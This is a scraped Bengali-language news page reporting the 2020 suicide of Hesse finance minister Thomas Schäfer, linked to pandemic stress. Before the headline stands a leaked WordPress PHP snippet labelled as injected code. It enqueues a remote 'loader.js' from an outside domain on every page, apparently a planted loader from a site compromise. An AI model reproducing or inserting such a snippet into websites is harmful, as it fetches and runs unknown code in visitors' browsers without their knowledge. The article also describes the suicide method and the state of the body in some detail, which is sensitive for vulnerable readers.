// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Janabarta.com | Newsportal Site করোনা: মানসিক চাপে চলন্ত ট্রেনের সামনে ঝাঁপ দিয়ে জার্মান মন্ত্রীর আত্মহত্যা - Janabarta.com

করোনা: মানসিক চাপে চলন্ত ট্রেনের সামনে ঝাঁপ দিয়ে জার্মান মন্ত্রীর আত্মহত্যা

জনবার্তা অনলাইনঃ বিশ্বের অনেক দেশের মত জার্মানিতেও নভেল করোনাভাইরাসে (কোভিড-১৯) আক্রান্তের সংখ্যা বাড়ছে। বাড়ছে মৃত্যুর ঘটনাও। যদিও ইউরোপের দেশ ইতালি, স্পেন ও ফ্রান্সের চেয়ে জার্মানির অবস্থা এখনো বেশ ভাল, তবু স্বস্তিতেও নেই দেশটির সরকার। পরিস্থিতির দ্রুত অবনতি ঘটতে পারে বলে আশংকা করছেন তারা। সব মিলিয়ে দেশের মানুষের মতো সরকারের অনেক নীতিনির্ধারকও ভুগছেন প্রচণ্ড মাসকিক চাপ ও অবসাদে। আর এই অবসাদের শিকার হয়েছেন দেশটির অর্থ প্রতিমন্ত্রী থমাস শেফার।

রেললাইনের উপর থেকে উদ্ধার করা হয়েছে জার্মানির এক মন্ত্রীর ছিন্নভিন্ন দেহ। করোনা পরিস্থিতি নিয়ে উদ্বেগের জেরেই থমাস শেফার নামের ওই মন্ত্রী আত্মঘাতী হয়েছেন বলে জল্পনা। জার্মানির হেসে প্রদেশের অর্থমন্ত্রী ছিলেন তিনি।

আনন্দবাজার জানিয়েছে, শনিবার ফ্রাঙ্কফুর্ট এবং মাইনজের মধ্যবর্তী হোচাইম শহরে হাইস্পিড ট্রেন লাইনের উপর থেকে শেফারের ছিন্নভিন্ন দেহটি উদ্ধার হয়। প্যারামেডিকসের একটি দলই তাঁর দেহটি উদ্ধার করেন। গোটা দেহ ছিন্নভিন্ন হয়ে যাওয়ায় প্রথমে তাঁকে শনাক্ত করা যায়নি।

চলন্ত ট্রেনের সামনে ঝাঁপ দিয়েই তিনি আত্মঘাতী হন বলে প্রাথমিক তদন্তে জানা গিয়েছে। বিষয়টি খতিয়ে দেখা হচ্ছে। স্থানীয় সংবাদমাধ্যমসূত্রে জানা গিয়েছে, করোনার প্রকোপ থেকে অর্থনীতিকে কী ভাবে বাঁচাবেন তা নিয়ে দুশ্চিন্তায় ভুগছিলেন ৫৪ বছরের শেফার। করোনা ঠেকাতে আর্থিক সহায়তা নিয়ে সম্প্রতি বিবৃতিও দিতে দেখা যায় তাঁকে।

শেফারের মৃত্যুতে শোকপ্রকাশ করেছেন হেসে প্রদেশের প্রধান ভলকার বুফিয়ের। সংবাদমাধ্যমে তিনি বলেন, ‘‘অত্য়ন্ত দুঃখজনক ঘটনা। এখনও বিশ্বাস করে উঠতে পারছি না।’’

দীর্ঘ ১০ বছর হেসের অর্থমন্ত্রকের দায়িত্ব সামলেছেন শেফার। কী ভাবে করোনা পরিস্থিতির মোকাবিলা করা যায়, তা নিয়ে দিন-রাত তিনি কাজ করছিলেন বলেও জানান বুফিয়ের। তিনি বলেন, ‘‘নিশ্চয়ই দুশ্চিন্তায় ভুগছিলেন উনি। এই কঠিন সময়ে ওঁর মতো এক জনকে খুব দরকার ছিল আমাদের।’’

দীর্ঘ দু’দশক ধরে হেসের রাজনীতির সঙ্গে যুক্ত ছিলেন শেফার। চ্যান্সেলর অ্যাজেলা মের্কেলের সেন্টার রাইট ক্রিশ্চিয়ান ডেমোক্র্যাটস (সিডিইউ)-এর সদস্য ছিলেন তিনি। বুফিয়েরের উত্তরসূরি হিসাবেও তাঁকে ভেবে রেখেছিলেন অনেকে।